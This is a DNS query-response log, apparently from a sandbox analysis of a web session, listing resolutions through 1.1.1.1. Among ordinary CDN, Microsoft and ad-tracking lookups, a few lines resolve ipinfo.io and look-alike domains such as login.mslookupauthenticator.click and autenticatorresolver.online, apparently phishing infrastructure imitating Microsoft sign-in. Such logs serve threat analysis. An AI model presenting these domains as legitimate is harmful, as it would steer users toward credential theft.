Dec 10, 2024 15:09:16.152426004 CET	1.1.1.1	192.168.2.4	0x356	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:16.152426004 CET	1.1.1.1	192.168.2.4	0x356	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:16.152426004 CET	1.1.1.1	192.168.2.4	0x356	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:16.152426004 CET	1.1.1.1	192.168.2.4	0x356	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:16.152426004 CET	1.1.1.1	192.168.2.4	0x356	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:16.153214931 CET	1.1.1.1	192.168.2.4	0xaa71	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:20.888041019 CET	1.1.1.1	192.168.2.4	0x6009	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:20.888041019 CET	1.1.1.1	192.168.2.4	0x6009	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:20.888041019 CET	1.1.1.1	192.168.2.4	0x6009	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:20.888041019 CET	1.1.1.1	192.168.2.4	0x6009	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:20.888041019 CET	1.1.1.1	192.168.2.4	0x6009	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:20.888957024 CET	1.1.1.1	192.168.2.4	0x2759	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:41.124890089 CET	1.1.1.1	192.168.2.4	0x6a9	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:41.526436090 CET	1.1.1.1	192.168.2.4	0xc576	No error (0)	login.mslookupauthenticator.click		34.200.203.57	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:42.944461107 CET	1.1.1.1	192.168.2.4	0x2b8	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:45.338397980 CET	1.1.1.1	192.168.2.4	0x1239	No error (0)	www.mslookupauthenticator.click		34.200.203.57	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.237164021 CET	1.1.1.1	192.168.2.4	0x7f14	No error (0)	autenticatorresolver.online			65	IN (0x0001)	false
Dec 10, 2024 15:09:47.238038063 CET	1.1.1.1	192.168.2.4	0x17a	No error (0)	autenticatorresolver.online		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.238038063 CET	1.1.1.1	192.168.2.4	0x17a	No error (0)	autenticatorresolver.online		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.238038063 CET	1.1.1.1	192.168.2.4	0x17a	No error (0)	autenticatorresolver.online		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.238038063 CET	1.1.1.1	192.168.2.4	0x17a	No error (0)	autenticatorresolver.online		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.238038063 CET	1.1.1.1	192.168.2.4	0x17a	No error (0)	autenticatorresolver.online		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.238038063 CET	1.1.1.1	192.168.2.4	0x17a	No error (0)	autenticatorresolver.online		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:47.238038063 CET	1.1.1.1	192.168.2.4	0x17a	No error (0)	autenticatorresolver.online		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:49.418354034 CET	1.1.1.1	192.168.2.4	0x1504	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:49.418354034 CET	1.1.1.1	192.168.2.4	0x1504	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:49.418354034 CET	1.1.1.1	192.168.2.4	0x1504	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:49.419606924 CET	1.1.1.1	192.168.2.4	0xdb8e	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:49.419606924 CET	1.1.1.1	192.168.2.4	0xdb8e	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:51.362219095 CET	1.1.1.1	192.168.2.4	0xa75f	No error (0)	login.mslookupauthenticator.click		34.200.203.57	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:52.458141088 CET	1.1.1.1	192.168.2.4	0xe1c0	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:52.458141088 CET	1.1.1.1	192.168.2.4	0xe1c0	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:52.458141088 CET	1.1.1.1	192.168.2.4	0xe1c0	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:52.463368893 CET	1.1.1.1	192.168.2.4	0xb500	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:52.463368893 CET	1.1.1.1	192.168.2.4	0xb500	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:54.322762966 CET	1.1.1.1	192.168.2.4	0xce1e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:54.322762966 CET	1.1.1.1	192.168.2.4	0xce1e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:09:54.368166924 CET	1.1.1.1	192.168.2.4	0x50f	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:54.616646051 CET	1.1.1.1	192.168.2.4	0x6114	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:57.281141996 CET	1.1.1.1	192.168.2.4	0xcead	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:09:57.281141996 CET	1.1.1.1	192.168.2.4	0xcead	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:26.278224945 CET	1.1.1.1	192.168.2.4	0xd109	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:26.629336119 CET	1.1.1.1	192.168.2.4	0xc447	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:26.629336119 CET	1.1.1.1	192.168.2.4	0xc447	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:26.629336119 CET	1.1.1.1	192.168.2.4	0xc447	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:29.248963118 CET	1.1.1.1	192.168.2.4	0x781d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:29.248963118 CET	1.1.1.1	192.168.2.4	0x781d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:29.248963118 CET	1.1.1.1	192.168.2.4	0x781d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:29.252034903 CET	1.1.1.1	192.168.2.4	0x184c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.154.234.207	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.171.149.245	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.204.64	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.155.160.118	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.240.123.106	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.76.51.91	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.89.170	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.934442997 CET	1.1.1.1	192.168.2.4	0x21dc	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.249.77.207	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:40.937109947 CET	1.1.1.1	192.168.2.4	0xfa35	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:40.937109947 CET	1.1.1.1	192.168.2.4	0xfa35	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:40.937109947 CET	1.1.1.1	192.168.2.4	0xfa35	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089252949 CET	1.1.1.1	192.168.2.4	0x9717	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089252949 CET	1.1.1.1	192.168.2.4	0x9717	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089252949 CET	1.1.1.1	192.168.2.4	0x9717	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.171.149.245	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.249.77.207	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.240.123.106	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.155.160.118	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.204.64	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.89.170	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.76.51.91	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.089930058 CET	1.1.1.1	192.168.2.4	0x1e6d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.154.234.207	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.249623060 CET	1.1.1.1	192.168.2.4	0xc3b1	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.249623060 CET	1.1.1.1	192.168.2.4	0xc3b1	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.249623060 CET	1.1.1.1	192.168.2.4	0xc3b1	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.357192993 CET	1.1.1.1	192.168.2.4	0x4442	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.383799076 CET	1.1.1.1	192.168.2.4	0x74fb	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.383799076 CET	1.1.1.1	192.168.2.4	0x74fb	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.383799076 CET	1.1.1.1	192.168.2.4	0x74fb	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.383799076 CET	1.1.1.1	192.168.2.4	0x74fb	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710171938 CET	1.1.1.1	192.168.2.4	0x3308	No error (0)	mscom.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710171938 CET	1.1.1.1	192.168.2.4	0x3308	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710171938 CET	1.1.1.1	192.168.2.4	0x3308	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	mscom.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.154.212.37	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.229.91.192	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.146.29	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.126.164	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		63.35.35.114	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.89.170	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.249.77.207	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:43.710383892 CET	1.1.1.1	192.168.2.4	0x6492	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.204.64	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:44.064910889 CET	1.1.1.1	192.168.2.4	0x1455	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:44.164815903 CET	1.1.1.1	192.168.2.4	0xbccc	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:45.358294964 CET	1.1.1.1	192.168.2.4	0x8119	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:45.358294964 CET	1.1.1.1	192.168.2.4	0x8119	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:45.358294964 CET	1.1.1.1	192.168.2.4	0x8119	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:45.523567915 CET	1.1.1.1	192.168.2.4	0xcf18	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:45.523567915 CET	1.1.1.1	192.168.2.4	0xcf18	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:45.523567915 CET	1.1.1.1	192.168.2.4	0xcf18	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:45.523567915 CET	1.1.1.1	192.168.2.4	0xcf18	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:45.533560991 CET	1.1.1.1	192.168.2.4	0xc888	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.anycast.adnxs.com		37.252.171.149	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.anycast.adnxs.com		37.252.171.85	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.anycast.adnxs.com		37.252.171.52	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.anycast.adnxs.com		37.252.173.215	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.anycast.adnxs.com		37.252.171.53	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.anycast.adnxs.com		37.252.172.123	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.423769951 CET	1.1.1.1	192.168.2.4	0x720e	No error (0)	ib.anycast.adnxs.com		37.252.171.21	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.536223888 CET	1.1.1.1	192.168.2.4	0x1082	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.646203995 CET	1.1.1.1	192.168.2.4	0x7e69	No error (0)	cm.g.doubleclick.net		172.217.17.66	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.823822975 CET	1.1.1.1	192.168.2.4	0xa702	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.869683981 CET	1.1.1.1	192.168.2.4	0x3f96	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.869683981 CET	1.1.1.1	192.168.2.4	0x3f96	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.932657003 CET	1.1.1.1	192.168.2.4	0x277a	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.982111931 CET	1.1.1.1	192.168.2.4	0xc701	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.982111931 CET	1.1.1.1	192.168.2.4	0xc701	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.982111931 CET	1.1.1.1	192.168.2.4	0xc701	No error (0)	s.twitter.com		104.244.42.67	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:46.982136965 CET	1.1.1.1	192.168.2.4	0x2d48	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:46.982136965 CET	1.1.1.1	192.168.2.4	0x2d48	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:47.081748009 CET	1.1.1.1	192.168.2.4	0x36ab	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.081748009 CET	1.1.1.1	192.168.2.4	0x36ab	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.081748009 CET	1.1.1.1	192.168.2.4	0x36ab	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.081748009 CET	1.1.1.1	192.168.2.4	0x36ab	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.198033094 CET	1.1.1.1	192.168.2.4	0x50e	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:47.198033094 CET	1.1.1.1	192.168.2.4	0x50e	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:47.198033094 CET	1.1.1.1	192.168.2.4	0x50e	No error (0)	global.px.quantserve.com		91.228.74.200	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.198033094 CET	1.1.1.1	192.168.2.4	0x50e	No error (0)	global.px.quantserve.com		91.228.74.159	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.198033094 CET	1.1.1.1	192.168.2.4	0x50e	No error (0)	global.px.quantserve.com		91.228.74.244	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.198033094 CET	1.1.1.1	192.168.2.4	0x50e	No error (0)	global.px.quantserve.com		91.228.74.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:47.202605963 CET	1.1.1.1	192.168.2.4	0x9c4	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:47.202605963 CET	1.1.1.1	192.168.2.4	0x9c4	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:47.722367048 CET	1.1.1.1	192.168.2.4	0x358e	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:47.722367048 CET	1.1.1.1	192.168.2.4	0x358e	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:48.995230913 CET	1.1.1.1	192.168.2.4	0x8a76	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:48.995230913 CET	1.1.1.1	192.168.2.4	0x8a76	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:48.995230913 CET	1.1.1.1	192.168.2.4	0x8a76	No error (0)	s.twitter.com		104.244.42.67	A (IP address)	IN (0x0001)	false
Dec 10, 2024 15:10:48.997046947 CET	1.1.1.1	192.168.2.4	0x6c72	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:48.997046947 CET	1.1.1.1	192.168.2.4	0x6c72	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.044502020 CET	1.1.1.1	192.168.2.4	0xf346	No error (0)	rtd-tm.everesttech.net	rtd.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 15:10:49.044502020 CET	1.1.1.1	192.168.2.4	0xf346	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
